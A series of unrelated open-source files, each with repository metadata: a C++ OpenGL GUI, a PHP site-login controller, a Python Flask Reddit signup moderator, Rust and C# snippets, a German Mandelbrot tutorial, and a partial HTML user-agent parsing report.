if(update && callback_ != NULL) {
callback_(curve_, CurveSize) ;
}
}
void CurveEditor::reset(bool update) {
for(unsigned int i=0; i<CurveSize; i++) {
curve_[i] = 0.5f ;
}
if(update && callback_ != NULL) {
callback_(curve_, CurveSize) ;
}
}
void CurveEditor::reset_ramp(bool update) {
for(unsigned int i=0; i<CurveSize; i++) {
curve_[i] = float(i) / float(CurveSize - 1) ;
}
if(update && callback_ != NULL) {
callback_(curve_, CurveSize) ;
}
}
GLfloat CurveEditor::value(GLfloat x) const {
if(x < 0.0f) { x = 0.0f ; }
if(x > 1.0f) { x = 1.0f ; }
return curve_[int(x * (CurveSize - 1))] ;
}
//______________________________________________________________________________________________________
void ColormapEditor::draw() {
if(!visible()) { return ; }
draw_background() ;
// Draw curve
glColor(Foreground) ;
glLineWidth(2.0) ;
glBegin(GL_LINE_STRIP) ;
for(unsigned int i=0; i<ColormapSize; i++) {
glVertex2f(
x1_ + (float)i * (x2_ - x1_) / (float)(ColormapSize - 1),
y1_ + curve()[i] * (y2_ - y1_)
) ;
}
glEnd() ;
draw_border() ;
}
void ColormapEditor::draw_background() {
glEnable(GL_BLEND) ;
glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA) ;
drawBackgroundCB_(curve(), ColormapSize) ;
glDisable(GL_BLEND) ;
}
void ColormapEditor::draw_border() {
glColor(Foreground) ;
glLineWidth(2.0) ;
glBegin(GL_LINE_LOOP) ;
glVertex2f(x1_, y1_) ;
glVertex2f(x1_, y2_) ;
glVertex2f(x2_, y2_) ;
glVertex2f(x2_, y1_) ;
glEnd() ;
}
void ColormapEditor::update(unsigned char* cmap_data, int size, int component) {
for(unsigned int i = 0; i < ColormapSize; ++i) {
int idx = (double(i) / double(ColormapSize)) * (size-1) ;
curve()[i] = double(cmap_data[4*idx + component]) / 255.0 ;
}
}
//______________________________________________________________________________________________________
void TextLabel::draw() {
if(!visible()) { return ; }
glLineWidth(textwidth_) ;
printf_xy(x1_+10, y1_+50, (char*)text_.c_str()) ;
}
//______________________________________________________________________________________________________
Spinbox::Spinbox(
GLfloat x, GLfloat y, GLenum& value, const std::vector<std::string>& labels
) : Container(x, y, x+3000, y+170), value_(value), labels_(labels) {
down_ = new ArrowButton(DOWN, x, y, x+170, y+170) ;
up_ = new ArrowButton(UP, x+200, y, x+370, y+170) ;
up_->set_callback(increment_CB, this) ;
down_->set_callback(decrement_CB, this) ;
if(value_ < 0) { value_ = 0 ; }
if(value_ >= int(labels_.size())) { value_ = (GLenum)(labels_.size() - 1) ; }
text_ = new TextLabel(x+450,y,labels_[value_]) ;
add_child(up_) ;
add_child(down_) ;
add_child(text_) ;
show() ;
}
void Spinbox::draw() {
Container::draw() ;
}
void Spinbox::increment() {
value_++ ;
if(value_ >= labels_.size()) { value_ = 0 ; }
text_->set_text(labels_[value_]) ;
}
void Spinbox::decrement() {
if(int(value_) - 1 < 0) {
value_ = (GLenum)(labels_.size() - 1) ;
} else {
value_-- ;
}
text_->set_text(labels_[value_]) ;
}
void Spinbox::increment_CB(void* spinbox) {
static_cast<Spinbox*>(spinbox)->increment() ;
}
void Spinbox::decrement_CB(void* spinbox) {
static_cast<Spinbox*>(spinbox)->decrement() ;
}
//______________________________________________________________________________________________________
void MessageBox::draw() {
if(!visible()) { return ; }
Panel::draw() ;
glLineWidth(2) ;
for(unsigned int i=0; i<message_.size(); i++) {
printf_xy(x1_+100, y2_-200-i*150, (char*)message_[i].c_str()) ;
}
}
//______________________________________________________________________________________________________
PropertyPage::PropertyPage(
GLfloat x_in, GLfloat y_in, const std::string& caption
) : Panel(x_in,y_in-10,x_in+Width,y_in) {
y_ = y2_ - 200 ;
x_caption_ = x1_ + 100 ;
x_widget_ = x1_ + 1300 ;
caption_ = add_separator(caption) ;
y1_ = y_ ;
}
TextLabel* PropertyPage::add_separator(const std::string& text) {
TextLabel* w = new TextLabel(x1_ + 400, y_, text, 2.0f) ;
add_child(w) ;
y_ -= 250 ;
y1_ = y_ ;
return w ;
}
TextLabel* PropertyPage::add_string(const std::string& text) {
TextLabel* w = new TextLabel(x1_ + 200, y_, text, 1.0f) ;
add_child(w) ;
y_ -= 150 ;
y1_ = y_ ;
return w ;
}
Slider* PropertyPage::add_slider(
const std::string& caption, GLfloat& value, GLfloat vmin, GLfloat vmax
) {
add_child(new TextLabel(x_caption_, y_, caption)) ;
Slider* w = new Slider(x_widget_, y_, x_widget_+800, y_+200, value) ;
w->set_range(vmin, vmax) ;
add_child(w) ;
y_ -= 250 ;
y1_ = y_ ;
return w ;
}
Checkbox* PropertyPage::add_toggle(
const std::string& caption, GLboolean& value
) {
add_child(new TextLabel(x_caption_, y_, caption)) ;
Checkbox* w = new Checkbox(x_widget_, y_, x_widget_+200, y_+200, value) ;
add_child(w) ;
y_ -= 250 ;
y1_ = y_ ;
return w ;
}
Spinbox* PropertyPage::add_enum(
const std::string& caption, GLenum& value, const std::vector<std::string>& labels) {
add_child(new TextLabel(x_caption_, y_, caption)) ;
Spinbox* w = new Spinbox(x_widget_, y_, value, labels) ;
add_child(w) ;
y_ -= 250 ;
y1_ = y_ ;
return w ;
}
//______________________________________________________________________________________________________
ViewerProperties::ViewerProperties(GLfloat x_left, GLfloat y_top) : PropertyPage(
x_left, y_top, "Viewer"
) {
add_toggle("Rot. light", *glut_viewer_is_enabled_ptr(GLUT_VIEWER_ROTATE_LIGHT)) ;
if(glut_viewer_is_enabled(GLUT_VIEWER_HDR)) {
add_slider("Exposure", *glut_viewer_float_ptr(GLUT_VIEWER_HDR_EXPOSURE), 0.001, 3.0) ;
add_slider("Gamma", *glut_viewer_float_ptr(GLUT_VIEWER_HDR_GAMMA), 0.2, 1.5) ;
add_toggle("Vignette", *glut_viewer_is_enabled_ptr(GLUT_VIEWER_HDR_VIGNETTE)) ;
add_slider("Blur amount", *glut_viewer_float_ptr(GLUT_VIEWER_HDR_BLUR_AMOUNT)) ;
add_slider("Blur width", *glut_viewer_float_ptr(GLUT_VIEWER_HDR_BLUR_WIDTH), 1.0, 20.0) ;
add_toggle("UnMsk.", *glut_viewer_is_enabled_ptr(GLUT_VIEWER_HDR_UNSHARP_MASKING)) ;
add_toggle("UnMsk.+", *glut_viewer_is_enabled_ptr(GLUT_VIEWER_HDR_POSITIVE_UNSHARP_MASKING)) ;
add_slider("UnMsk. Gamm", *glut_viewer_float_ptr(GLUT_VIEWER_HDR_UNSHARP_MASKING_GAMMA), 0.2, 1.5) ;
}
}
void ViewerProperties::draw() {
if(glut_viewer_is_enabled(GLUT_VIEWER_IDLE_REDRAW)) {
static char buff[256] ;
sprintf(buff, " [%4d FPS]", glut_viewer_fps()) ;
caption_->set_text("Viewer" + std::string(buff)) ;
} else {
caption_->set_text("Viewer") ;
}
PropertyPage::draw() ;
}
void ViewerProperties::apply() {
}
//______________________________________________________________________________________________________
Image::Image(
GLfloat x1, GLfloat y1, GLfloat x2, GLfloat y2, GLint texture, GLint target
) : Widget(x1, y1, x2, y2), texture_(texture), texture_target_(target) {
}
void Image::draw() {
if(texture_ == 0) { return ; }
glEnable(texture_target_) ;
glBindTexture(texture_target_, texture_) ;
glBegin(GL_QUADS) ;
glTexCoord2f(0.0, 0.0) ;
glVertex2f(x1_, y1_) ;
glTexCoord2f(1.0, 0.0) ;
glVertex2f(x2_, y1_) ;
glTexCoord2f(1.0, 1.0) ;
glVertex2f(x2_, y2_) ;
glTexCoord2f(0.0, 1.0) ;
glVertex2f(x1_, y2_) ;
glEnd() ;
glDisable(texture_target_) ;
}
//______________________________________________________________________________________________________
}
| stormHan/gpu_rvd | Gpu_Rvd/header/thid_party/glut_viewer/glut_viewer_gui.cpp | C++ | mit | 25,552 |
<?php
/**
* Description of aSites
*
* @author almaz
*/
class aSitesUsers extends Action {
protected $defaultAct = 'List';
protected function configure() {
require_once $this->module->pathModels . 'as_Sites.php';
require_once $this->module->pathModels . 'as_SitesUsers.php';
$authModule = General::$loadedModules['Auth'];
require_once $authModule->pathModels . 'au_Users.php';
}
/**setTpl
* выводит список всех сайтов
*/
public function act_List() {
if ($this->request->isAjax()) {
$this->context->setTopTpl('html_list');
} else {
$this->_parent();
$this->context->setTpl('content', 'html_list');
}
$sql = Stmt::prepare2(as_Stmt::GET_SITES_USERS_USER, array('user_id' => $this->userInfo['user']['id']));
$tbl = new oTable(DBExt::selectToTable($sql));
$tbl->setIsDel();
$tbl->setIsEdit();
$tbl->setNamesColumns(array('host'=>'Сайт'));
$tbl->addRulesView('password', '******');
$tbl->sort(Navigation::get('field'), Navigation::get('order'));
$this->context->set('tbl', $tbl);
$this->context->set('h1', 'Мои сайты');
}
/**
* выводит список всех сайтов
*/
public function act_Add() {
if ($this->request->isAjax()) {
$this->context->setTopTpl('site_add_html');
} else {
$this->_parent();
$this->context->setTpl('content', 'site_add_html');
}
$sqlSites = Stmt::prepare2(as_Stmt::ALL_SITES, array(), array (Stmt::ORDER => 'sort'));
$listSites = new oList(DBExt::selectToList($sqlSites));
$fields['site_id'] = array('title' => 'Сайт', 'value' => '', 'data' => $listSites, 'type'=>'select', 'required' => true, 'validator' => null, 'info'=>'Список поддерживаемых на данный момент сайтов', 'error' => false, 'attr' => '', $checked = array());
$fields['login'] = array('title' => 'Логин', 'value'=>'', 'type'=>'text', 'required' => true, 'validator' => null, 'info'=>'', 'error' => false, 'attr' => '', $checked = array());
$fields['password'] = array('title' => 'Пароль', 'value'=>'', 'type'=>'text', 'required' => true, 'validator' => null, 'info'=>'', 'error' => false, 'attr' => '', $checked = array());
$form = new oForm($fields);
$this->context->set('form', $form);
$this->context->set('info_text', 'Добавление настроек для нового сайта...');
if ($this->request->is('POST')) {
$form->fill($this->request->get('POST'));
if ($form->isComplited()) {
$siteUser = new as_SitesUsers();
$siteUser->site_id = $form->getFieldValue('site_id');
$siteUser->login = $form->getFieldValue('login');
$siteUser->password = $form->getFieldValue('password');
$siteUser->user_id = $this->userInfo['user']['id'];
$siteUser->save();
$this->context->del('form');
$this->context->set('info_text', 'Настройки добавлены');
}
}
}
function act_Del () {
$id = (int)$this->request->get('id', 0);
$sqlSites = Stmt::prepare2(as_Stmt::DEL_SITE_USER, array('user_id' => $this->userInfo['user']['id'], 'site_id' => $id));
DB::execute($prepare_stmt);
$sql = Stmt::prepare(se_Stmt::IS_KEYWORDS_SET, array('set_id' => $id, Stmt::LIMIT => 1));
$sitesUsers = new as_SitesUsers((int)$this->request->get('id'));
$sets->delete();
$iRoute = new InternalRoute();
$iRoute->module = 'SEParsing';
$iRoute->action = 'Sets';
$actR = new ActionResolver();
$act = $actR->getInternalAction($iRoute);
$act->runAct();
}
/**
* Функция-обвертка, модули уровнем выще. для отображения
* @param InternalRoute $iRoute
*/
function _parent(InternalRoute $iRoute = null) {
$this->context->set('title', 'Сайты');
if (!$iRoute) {
$iRoute = new InternalRoute();
$iRoute->module = 'Pages';
$iRoute->action = 'Pages';
}
$actR = new ActionResolver();
$act = $actR->getInternalAction($iRoute);
$act->runParentAct();
}
} | AlmazKo/Brill | Brill/Modules/AutoSubmitter/Actions/aSitesUsers.php | PHP | mit | 4,519 |
package cz.muni.fi.pa165.mushrooms.service.exceptions;
/**
* @author bkompis
*/
public class EntityOperationServiceException extends MushroomHunterServiceDataAccessException {
public <T> EntityOperationServiceException(String what, String operation, T entity, Throwable e) {
super("Could not " + operation + " " + what + " (" + entity + ").", e);
}
public EntityOperationServiceException(String msg) {
super(msg);
}
public EntityOperationServiceException(String msg, Throwable cause) {
super(msg, cause);
}
}
| PA165-MushroomHunter/MushroomHunter | service/src/main/java/cz/muni/fi/pa165/mushrooms/service/exceptions/EntityOperationServiceException.java | Java | mit | 563 |
#!/usr/bin/env python
import subprocess
import praw
from hashlib import sha1
from flask import Flask
from flask import Response
from flask import request
from cStringIO import StringIO
from base64 import b64encode
from base64 import b64decode
from ConfigParser import ConfigParser
import OAuth2Util
import os
import markdown
import bleach
# encoding=utf8
import sys
from participantCollection import ParticipantCollection
reload(sys)
sys.setdefaultencoding('utf8')
# Edit Me!
# Each day after you post a signup post, copy its 6-character ID to this array.
signupPageSubmissionIds = [ '7zrrj1', '7zxkpq', '8055hn', '80ddrf', '80nbm1', '80waq3' ]
flaskport = 8993
app = Flask(__name__)
app.debug = True
commentHashesAndComments = {}
def loginAndReturnRedditSession():
config = ConfigParser()
config.read("../reddit-password-credentials.cfg")
user = config.get("Reddit", "user")
password = config.get("Reddit", "password")
# TODO: password auth is going away, and we will soon need to do oauth.
redditSession = praw.Reddit(user_agent='Test Script by /u/foobarbazblarg')
redditSession.login(user, password, disable_warning=True)
# submissions = redditSession.get_subreddit('pornfree').get_hot(limit=5)
# print [str(x) for x in submissions]
return redditSession
def loginOAuthAndReturnRedditSession():
redditSession = praw.Reddit(user_agent='Test Script by /u/foobarbazblarg')
# New version of praw does not require explicit use of the OAuth2Util object. Presumably because reddit now REQUIRES oauth.
# o = OAuth2Util.OAuth2Util(redditSession, print_log=True, configfile="../reddit-oauth-credentials.cfg")
# TODO: Testing comment of refresh. We authenticate fresh every time, so presumably no need to do o.refresh().
# o.refresh(force=True)
return redditSession
def getSubmissionsForRedditSession(redditSession):
# submissions = [redditSession.get_submission(submission_id=submissionId) for submissionId in signupPageSubmissionIds]
submissions = [redditSession.submission(id=submissionId) for submissionId in signupPageSubmissionIds]
for submission in submissions:
submission.comments.replace_more(limit=None)
# submission.replace_more_comments(limit=None, threshold=0)
return submissions
def getCommentsForSubmissions(submissions):
comments = []
for submission in submissions:
commentForest = submission.comments
comments += [comment for comment in commentForest.list() if comment.__class__ == praw.models.Comment]
return comments
def retireCommentHash(commentHash):
with open("retiredcommenthashes.txt", "a") as commentHashFile:
commentHashFile.write(commentHash + '\n')
def retiredCommentHashes():
with open("retiredcommenthashes.txt", "r") as commentHashFile:
# return commentHashFile.readlines()
return commentHashFile.read().splitlines()
@app.route('/moderatesignups.html')
def moderatesignups():
global commentHashesAndComments
commentHashesAndComments = {}
stringio = StringIO()
stringio.write('<html>\n<head>\n</head>\n\n')
# redditSession = loginAndReturnRedditSession()
redditSession = loginOAuthAndReturnRedditSession()
submissions = getSubmissionsForRedditSession(redditSession)
flat_comments = getCommentsForSubmissions(submissions)
retiredHashes = retiredCommentHashes()
i = 1
stringio.write('<iframe name="invisibleiframe" style="display:none;"></iframe>\n')
stringio.write("<h3>")
stringio.write(os.getcwd())
stringio.write("<br>\n")
for submission in submissions:
stringio.write(submission.title)
stringio.write("<br>\n")
stringio.write("</h3>\n\n")
stringio.write('<form action="copydisplayduringsignuptoclipboard.html" method="post" target="invisibleiframe">')
stringio.write('<input type="submit" value="Copy display-during-signup.py stdout to clipboard">')
stringio.write('</form>')
for comment in flat_comments:
# print comment.is_root
# print comment.score
i += 1
commentHash = sha1()
commentHash.update(comment.fullname)
commentHash.update(comment.body.encode('utf-8'))
commentHash = commentHash.hexdigest()
if commentHash not in retiredHashes:
commentHashesAndComments[commentHash] = comment
authorName = str(comment.author) # can be None if author was deleted. So check for that and skip if it's None.
stringio.write("<hr>\n")
stringio.write('<font color="blue"><b>')
stringio.write(authorName) # can be None if author was deleted. So check for that and skip if it's None.
stringio.write('</b></font><br>')
if ParticipantCollection().hasParticipantNamed(authorName):
stringio.write(' <small><font color="green">(member)</font></small>')
# if ParticipantCollection().participantNamed(authorName).isStillIn:
# stringio.write(' <small><font color="green">(in)</font></small>')
# else:
# stringio.write(' <small><font color="red">(out)</font></small>')
else:
stringio.write(' <small><font color="red">(not a member)</font></small>')
stringio.write('<form action="takeaction.html" method="post" target="invisibleiframe">')
stringio.write('<input type="submit" name="actiontotake" value="Signup" style="color:white;background-color:green">')
# stringio.write('<input type="submit" name="actiontotake" value="Signup and checkin">')
# stringio.write('<input type="submit" name="actiontotake" value="Relapse">')
# stringio.write('<input type="submit" name="actiontotake" value="Reinstate">')
stringio.write('<input type="submit" name="actiontotake" value="Skip comment">')
stringio.write('<input type="submit" name="actiontotake" value="Skip comment and don\'t upvote">')
stringio.write('<input type="hidden" name="username" value="' + b64encode(authorName) + '">')
stringio.write('<input type="hidden" name="commenthash" value="' + commentHash + '">')
# stringio.write('<input type="hidden" name="commentpermalink" value="' + comment.permalink + '">')
stringio.write('</form>')
stringio.write(bleach.clean(markdown.markdown(comment.body.encode('utf-8')), tags=['p']))
stringio.write("\n<br><br>\n\n")
stringio.write('</html>')
pageString = stringio.getvalue()
stringio.close()
return Response(pageString, mimetype='text/html')
@app.route('/takeaction.html', methods=["POST"])
def takeaction():
username = b64decode(request.form["username"])
commentHash = str(request.form["commenthash"])
# commentPermalink = request.form["commentpermalink"]
actionToTake = request.form["actiontotake"]
# print commentHashesAndComments
comment = commentHashesAndComments[commentHash]
# print "comment: " + str(comment)
if actionToTake == 'Signup':
print "signup - " + username
subprocess.call(['./signup.py', username])
comment.upvote()
retireCommentHash(commentHash)
# if actionToTake == 'Signup and checkin':
# print "signup and checkin - " + username
# subprocess.call(['./signup-and-checkin.sh', username])
# comment.upvote()
# retireCommentHash(commentHash)
# elif actionToTake == 'Relapse':
# print "relapse - " + username
# subprocess.call(['./relapse.py', username])
# comment.upvote()
# retireCommentHash(commentHash)
# elif actionToTake == 'Reinstate':
# print "reinstate - " + username
# subprocess.call(['./reinstate.py', username])
# comment.upvote()
# retireCommentHash(commentHash)
elif actionToTake == 'Skip comment':
print "Skip comment - " + username
comment.upvote()
retireCommentHash(commentHash)
elif actionToTake == "Skip comment and don't upvote":
print "Skip comment and don't upvote - " + username
retireCommentHash(commentHash)
return Response("hello", mimetype='text/html')
@app.route('/copydisplayduringsignuptoclipboard.html', methods=["POST"])
def copydisplayduringsignuptoclipboard():
print "TODO: Copy display to clipboard"
subprocess.call(['./display-during-signup.py'])
return Response("hello", mimetype='text/html')
if __name__ == '__main__':
app.run(host='127.0.0.1', port=flaskport)
| foobarbazblarg/stayclean | stayclean-2018-march/serve-signups-with-flask.py | Python | mit | 8,581 |
#![cfg_attr(all(feature = "nightly", test), feature(test))]
#![cfg(all(feature = "nightly", test))]
extern crate test;
extern crate cxema;
#[cfg(test)]
use cxema::sha2::{Sha256};
use cxema::digest::Digest;
use test::Bencher;
#[bench]
pub fn sha256_10(bh: &mut Bencher) {
let mut sh = Sha256::new();
let bytes = [1u8; 10];
bh.iter(|| {
sh.input(&bytes);
});
bh.bytes = bytes.len() as u64;
}
#[bench]
pub fn sha256_1k(bh: &mut Bencher) {
let mut sh = Sha256::new();
let bytes = [1u8; 1024];
bh.iter(|| {
sh.input(&bytes);
});
bh.bytes = bytes.len() as u64;
}
#[bench]
pub fn sha256_64k(bh: &mut Bencher) {
let mut sh = Sha256::new();
let bytes = [1u8; 65536];
bh.iter(|| {
sh.input(&bytes);
});
bh.bytes = bytes.len() as u64;
} | alexyer/cxema | benches/sha256_bench.rs | Rust | mit | 818 |
using System.Collections.Generic;
using JsonApiDotNetCore.Resources;
using JsonApiDotNetCore.Resources.Annotations;
using JsonApiDotNetCore.Serialization.Objects;
namespace JsonApiDotNetCore.Serialization.Building
{
/// <summary>
/// Responsible for converting resources into <see cref="ResourceObject" />s given a collection of attributes and relationships.
/// </summary>
public interface IResourceObjectBuilder
{
/// <summary>
/// Converts <paramref name="resource" /> into a <see cref="ResourceObject" />. Adds the attributes and relationships that are enlisted in
/// <paramref name="attributes" /> and <paramref name="relationships" />.
/// </summary>
/// <param name="resource">
/// Resource to build a <see cref="ResourceObject" /> for.
/// </param>
/// <param name="attributes">
/// Attributes to include in the building process.
/// </param>
/// <param name="relationships">
/// Relationships to include in the building process.
/// </param>
/// <returns>
/// The resource object that was built.
/// </returns>
ResourceObject Build(IIdentifiable resource, IReadOnlyCollection<AttrAttribute> attributes, IReadOnlyCollection<RelationshipAttribute> relationships);
}
}
| Research-Institute/json-api-dotnet-core | src/JsonApiDotNetCore/Serialization/Building/IResourceObjectBuilder.cs | C# | mit | 1,337 |
# Wir backen uns ein Mandelbrötchen

Die [Mandelbrot-Menge](https://de.wikipedia.org/wiki/Mandelbrot-Menge) ist die zentrale Ikone der Chaos-Theorie und das Urbild aller Fraktale. Sie ist die Menge aller komplexen Zahlen *c*, für welche die durch
$$
\begin{align}
z_{0} & = 0\\\\
z_{n+1} & = z_{n}^{2}+c\\\\
\end{align}
$$
rekursiv definierte Folge beschränkt ist. Bilder der Mandelbrot-Menge können erzeugt werden, indem für jeden Wert des Parameters *c*, der gemäß obiger Rekursion endlich bleibt, ein Farbwert in der komplexen Ebene zugeordnet wird.
Die komplexe Ebene wird in der Regel so dargestellt, daß in der Horizontalen (in der kartesisschen Ebene die *x-Achse*) der Realteil der komplexen Zahl und in der Vertikalen (in der kartesischen Ebene die *y-Achse*) der imaginäre Teil aufgetragen wird. Jede komplexe Zahl entspricht also einen Punkt in der komplexen Ebene. Die zur Mandelbrotmenge gehörenden Zahlen werden im Allgemeinen schwarz dargestellt, die übrigen Farbwerte werden der Anzahl von Iterationen (`maxiter`) zugeordnet, nach der der gewählte Punkt der Ebene einen Grenzwert (`maxlimit`) verläßt. Der theoretische Grenzwert ist *2.0*, doch können besonders bei Ausschnitten aus der Menge, um andere Farbkombinationen zu erreichen, auch höhere Grenzwerte verwendet werden. Bei Ausschnitten muß auch die Anzahl der Iterationen massiv erhöht werden, um eine hinreichende Genauigkeit der Darstellung zu erreichen.
## Das Programm
Python kennt den Datentyp `complex` und kann mit komplexen Zahlen rechnen. Daher drängt sich die Sprache für Experimente mit komplexen Zahlen geradezu auf. Zuert werden mit `cr` und `ci` Real- und Imaginärteil definiert und dann mit
~~~python
c = complex(cr, ci)
~~~
die komplexe Zahl erzeugt. Für die eigentliche Iteration wird dann -- nachdem der Startwert `z = 0.0` festgelegt wurde -- nur eine Zeile benötigt:
~~~python
z = (z**2) + c
~~~
Wie schon in anderen Beispielen habe ich für die Farbdarstellung den HSB-Raum verwendet und über den *Hue*-Wert iteriert. Das macht alles schön bunt, aber es gibt natürlich viele Möglichkeiten, ansprechendere Farben zu bekommen, beliebt sind zum Beispiel selbsterstellte Paletten mit 256 ausgesuchten Farbwerten, die entweder harmonisch ineinander übergehen oder bestimmte Kontraste betonen.
## Der komplette Quellcode
~~~python
left = -2.25
right = 0.75
bottom = -1.5
top = 1.5
maxlimit = 2.0
maxiter = 20
def setup():
size(400, 400)
background("#ffffff")
colorMode(HSB, 255, 100, 100)
# frame.setTitle(u"Mandelbrötchen")
noLoop()
def draw():
for x in range(width):
cr = left + x*(right - left)/width
for y in range(height):
ci = bottom + y*(top - bottom)/height
c = complex(cr, ci)
z = 0.0
i = 0
for i in range(maxiter):
if abs(z) > maxlimit:
break
z = (z**2) + c
if i == (maxiter - 1):
set(x, y, color(0, 0, 0))
else:
set(x, y, color((i*48)%255, 100, 100))
~~~
Um zu sehen, wie sich die Farben ändern, kann man durchaus mal mit den Werten von `maxlimit` spielen und diesen zum Beispiel auf `3.0` oder `4.0` setzen. Auch die Erhöhung der Anzahl der Iterationen `maxiter` verändert die Farbzuordnung, verlängert aber auch die Rechhenzeit drastisch, so daß man speziell bei Ausschnitten aus der Mandelbrotmenge schon einige Zeit auf das Ergebnis warten muß. | kantel/processingpy | docs/mandelbrot.md | Markdown | mit | 3,571 |
<html>
<head>
<title>User agent detail - Mozilla/5.0 (Linux; U; Android 4.0.3; zh-tw; ME171 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/0.97.3/css/materialize.min.css">
<link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
</head>
<body>
<div class="container">
<div class="section">
<h1 class="header center orange-text">User agent detail</h1>
<div class="row center">
<h5 class="header light">
Mozilla/5.0 (Linux; U; Android 4.0.3; zh-tw; ME171 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
</h5>
</div>
</div>
<div class="section">
<table class="striped"><tr><th></th><th colspan="3">General</th><th colspan="5">Device</th><th colspan="3">Bot</th><th colspan="2"></th></tr><tr><th>Provider</th><th>Browser</th><th>Engine</th><th>OS</th><th>Brand</th><th>Model</th><th>Type</th><th>Is mobile</th><th>Is touch</th><th>Is bot</th><th>Name</th><th>Type</th><th>Parse time</th><th>Actions</th></tr><tr><th colspan="14" class="green lighten-3">Source result (test suite)</th></tr><tr><td>piwik/device-detector<br /><small>/Tests/fixtures/tablet.yml</small></td><td>Android Browser </td><td>Android 4.0.3</td><td>WebKit </td><td style="border-left: 1px solid #555">Asus</td><td>Eee Pad MeMO 171</td><td>tablet</td><td></td><td></td><td style="border-left: 1px solid #555"></td><td></td><td></td><td></td><td>
<!-- Modal Trigger -->
<a class="modal-trigger btn waves-effect waves-light" href="#modal-test">Detail</a>
<!-- Modal Structure -->
<div id="modal-test" class="modal modal-fixed-footer">
<div class="modal-content">
<h4>Testsuite result detail</h4>
<p><pre><code class="php">Array
(
[user_agent] => Mozilla/5.0 (Linux; U; Android 4.0.3; zh-tw; ME171 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
[os] => Array
(
[name] => Android
[short_name] => AND
[version] => 4.0.3
[platform] =>
)
[client] => Array
(
[type] => browser
[name] => Android Browser
[short_name] => AN
[version] =>
[engine] => WebKit
)
[device] => Array
(
[type] => tablet
[brand] => AU
[model] => Eee Pad MeMO 171
)
[os_family] => Android
[browser_family] => Android Browser
)
</code></pre></p>
</div>
<div class="modal-footer">
<a href="#!" class="modal-action modal-close waves-effect waves-green btn-flat ">close</a>
</div>
</div>
</td></tr><tr><th colspan="14" class="green lighten-3">Providers</th></tr><tr><td>BrowscapPhp<br /><small>6012</small></td><td>Android 4.0</td><td>WebKit </td><td>Android 4.0</td><td style="border-left: 1px solid #555"></td><td></td><td>Mobile Phone</td><td>yes</td><td>yes</td><td style="border-left: 1px solid #555"></td><td></td><td></td><td>0.02101</td><td>
<!-- Modal Trigger -->
<a class="modal-trigger btn waves-effect waves-light" href="#modal-215ac98d-ccf8-4615-916e-5a819d6a59c9">Detail</a>
<!-- Modal Structure -->
<div id="modal-215ac98d-ccf8-4615-916e-5a819d6a59c9" class="modal modal-fixed-footer">
<div class="modal-content">
<h4>BrowscapPhp result detail</h4>
<p><pre><code class="php">stdClass Object
(
[browser_name_regex] => /^mozilla\/5\.0 \(.*linux.*android.4\.0.* build\/.*\).*applewebkit\/.*\(.*khtml,.*like gecko.*\).*version\/4\.0.*safari.*$/
[browser_name_pattern] => mozilla/5.0 (*linux*android?4.0* build/*)*applewebkit/*(*khtml,*like gecko*)*version/4.0*safari*
[parent] => Android Browser 4.0
[comment] => Android Browser 4.0
[browser] => Android
[browser_type] => Browser
[browser_bits] => 32
[browser_maker] => Google Inc
[browser_modus] => unknown
[version] => 4.0
[majorver] => 4
[minorver] => 0
[platform] => Android
[platform_version] => 4.0
[platform_description] => Android OS
[platform_bits] => 32
[platform_maker] => Google Inc
[alpha] =>
[beta] =>
[win16] =>
[win32] =>
[win64] =>
[frames] => 1
[iframes] => 1
[tables] => 1
[cookies] => 1
[backgroundsounds] =>
[javascript] => 1
[vbscript] =>
[javaapplets] => 1
[activexcontrols] =>
[ismobiledevice] => 1
[istablet] =>
[issyndicationreader] =>
[crawler] =>
[cssversion] => 3
[aolversion] => 0
[device_name] => general Mobile Phone
[device_maker] => unknown
[device_type] => Mobile Phone
[device_pointing_method] => touchscreen
[device_code_name] => general Mobile Phone
[device_brand_name] => unknown
[renderingengine_name] => WebKit
[renderingengine_version] => unknown
[renderingengine_description] => For Google Chrome, iOS (including both mobile Safari, WebViews within third-party apps, and web clips), Safari, Arora, Midori, OmniWeb, Shiira, iCab since version 4, Web, SRWare Iron, Rekonq, and in Maxthon 3.
[renderingengine_maker] => Apple Inc
)
</code></pre></p>
</div>
<div class="modal-footer">
<a href="#!" class="modal-action modal-close waves-effect waves-green btn-flat ">close</a>
</div>
</div>
</td></tr><tr><td>DonatjUAParser<br /><small>v0.5.0</small></td><td>Android Browser 4.0</td><td><i class="material-icons">close</i></td><td><i class="material-icons">close</i></td><td style="border-left: 1px solid #555"><i class="material-icons">close</i></td><td><i class="material-icons">close</i></td><td><i class="material-icons">close</i></td><td><i class="material-icons">close</i></td><td><i class="material-icons">close</i></td><td style="border-left: 1px solid #555"><i class="material-icons">close</i></td><td><i class="material-icons">close</i></td><td><i class="material-icons">close</i></td><td>0.001</td><td>
<!-- Modal Trigger -->
<a class="modal-trigger btn waves-effect waves-light" href="#modal-f1436016-fdf1-4aea-b4be-1d7c99ab0661">Detail</a>
<!-- Modal Structure -->
<div id="modal-f1436016-fdf1-4aea-b4be-1d7c99ab0661" class="modal modal-fixed-footer">
<div class="modal-content">
<h4>DonatjUAParser result detail</h4>
<p><pre><code class="php">Array
(
[platform] => Android
[browser] => Android Browser
[version] => 4.0
)
</code></pre></p>
</div>
<div class="modal-footer">
<a href="#!" class="modal-action modal-close waves-effect waves-green btn-flat ">close</a>
</div>
</div>
</td></tr><tr><td>NeutrinoApiCom<br /><small></small></td><td>Android Webkit 4.0</td><td><i class="material-icons">close</i></td><td>Android 4.0.3</td><td style="border-left: 1px solid #555">Generic</td><td>Android 4.0</td><td>mobile-browser</td><td>yes</td><td><i class="material-icons">close</i></td><td style="border-left: 1px solid #555"></td><td></td><td><i class="material-icons">close</i></td><td>0.247</td><td>
<!-- Modal Trigger -->
<a class="modal-trigger btn waves-effect waves-light" href="#modal-9b0fa449-ec1b-40c8-8b1c-9486eb3b9cbc">Detail</a>
<!-- Modal Structure -->
<div id="modal-9b0fa449-ec1b-40c8-8b1c-9486eb3b9cbc" class="modal modal-fixed-footer">
<div class="modal-content">
<h4>NeutrinoApiCom result detail</h4>
<p><pre><code class="php">stdClass Object
(
